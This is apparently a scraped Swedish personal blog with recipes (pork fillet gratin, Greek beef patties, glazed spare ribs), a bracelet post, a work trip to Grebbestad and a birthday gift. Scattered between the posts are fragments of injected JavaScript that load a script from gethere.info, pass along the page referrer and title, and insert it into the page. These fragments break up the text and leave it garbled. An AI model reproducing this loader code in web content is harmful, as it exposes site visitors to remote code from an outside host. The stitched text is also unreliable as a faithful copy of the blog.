Makramé armband

Har knåpat ihop lite armband.

} else {

Fläskfilégratäng

Fläskfilégratäng
4 portioner 500 g fläskfilé
Smör Salt Peppar
1 st mozzarella
1 st basilika, kruka
25 g cashewnötter
50 g paprika, grillad, färdig på burk
2 st vitlöksklyftor
Salt Peppar
Sås
2 dl sky + vatten
2 msk kalvfond,
konc 1 msk ljus maizenaredning
2 dl creme fraiche
1 tsk soja
Svartpeppar
Sätt ugnen på 225°. Putsa filén från fett och senor. Bryn den  i en stekpanna med smör. Salta och peppra. Tag upp filén och lägg den på en skärbräda. Häll vattnet i stekpannan och sila det ner i en kastrull. Skär mozzarellan i små bitar. Plocka bladen av nästan hela basilikakrukan. Hacka dem och cashewnötterna. Skär paprikan i småbitar. Skala och hacka vitlöken. Blanda samman ingredienserna. Tillsätt salt och peppar. Skär filén i cm-stora skivor och lägg dem omlott i en rad på ett ugnssäkert fat. Bred täcket längs med hela filén. Försök att lägga allt ovanpå köttet. Gratinera i ugnen tills osten smält (ca 10-15 min)
Koka upp skyn och fonden i kastrullen. Blanda redning och creme fraiche. Vispa ner det i skyn. Låt såsen sjuda några minuter och smaka av med soja och peppar

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Gino

Gino:
1 paket med färska jordgubbar
1 ananas
2 kiwi
Vit choklad

Skär frukten i bitar och lägg i en ugnsfast form. Riv vit choklad över frukten och gratinera i ugn på 225 grader tills chokladen har smält. Servera med vaniljglass eller grädde.

 

Fetaostsallad

Skär upp vattenmelon och fetaost. Lägg upp på ett fat och häll på olivolja innan servering.

document.currentScript.parentNode.insertBefore(s, document.currentScript);

Grekiska köttfärsbiffar med fetaost och basilika

Grekiska köttfärsbiffar
500 gram nötfärs (alt. blandfärs)
1 knippe färsk basilika (alt. 1/2  msk torkad)
75 gram fetaost
1  vitlöksklyfta
2-3 msk  vatten (jag la i 1 ägg i stället för vatten)
1/2 dl matlagningsyoghurt
1 tsk potatismjöl
1/2  tsk nystött svartpeppar
1/2 tsk salt

Gör så här:
Finhacka basilikan och riv vitlöken. Blanda alla ingredienserna till biffar (smula ner fetaosten i färsen) i en stor skål! Forma till lagom stora biffar och stek i stekpanna så de får fin färg på bägge sidorna. Efterstek i ugn på ugnfast fat ca 15-20 min, eller tills de är helt genomstekta.

Yoghurtdressing
2 dl yoghurt
1 pressad vitlöksklyfta
Skivad gurka
Skivad paprika
Lite salt
Lite peppar

Rör ihop allt till en röra och ställ kallt innan servering.

if (document.currentScript) {

Grebbestad teambuilding med jobbet

Den 1:e juni åkte hela kontoret till Grebbestad på teambuilding. Vi bodde i ett charmigt hus mitt i Grebbestad och vi hade en egen kock som lagade all mat och vi blev bortskämda med en massa god mat och dryck.
Lägger ut lite bilder på allt gott vi åt och drack.

Här är en bild på vår dukiga kock Peter som lagade all mat under vår vistelse i Grebbestad.
Lunch: King Size räksmörgås med passande vin till lunch.

 

Eftermiddag: Musselsoppa med nybakat bröd och ett nytt vin.

Middag: Grillad kycklingfilé, Grillad oxfilé, ratatouille, guacamole, potatis- och ruccola sallad, rödvinssås.

Efterätt: Kladdkaka med romgrädde och färska svenska jordgubbar.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Revbensspjäll med glaze

Ingredienser revbensspjäll:
1 kg revben
3 röda lökar
2 st köttbuljongtärningar
2 st vitlöksklyftor vatten

Häll i vatten i en kastrull, tillräckligt så det kommer att täcka revbenen. Lägg i löken i klyftor, buljongen och vitlöksklyftorna. Låt koka upp, lägg i revbenen och låt koka i ca 1 timme.

Glaze:
2 msk oystersås
1 msk soja
1 msk sambal oelek
1 msk honung
2 msk olivolja
2 pressade vitlöksklyftor
saften av en lime

Blanda ihop alla ingredienser.
Ta upp revbenen och pensla på glaze på ovansidan.  Grilla revbenen i ugnen ca 10 min på ca 225 grader tills dom fått fin färg. Vänd sedan på revbenen och pensla på andra sidan och grilla i ugnen ytterligare 10 min.

Min födelsedagspresent

Den 20:e juni fyllde jag år och fick det här fina paketet.

En fin golfkjol….

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Lite smått och gott

Jamón Serrano, Chorizo och Lomo (lufttorkad fläskytterfilé), brieost, avocado och lite kex.

Midsommar på Trädgårsföreningen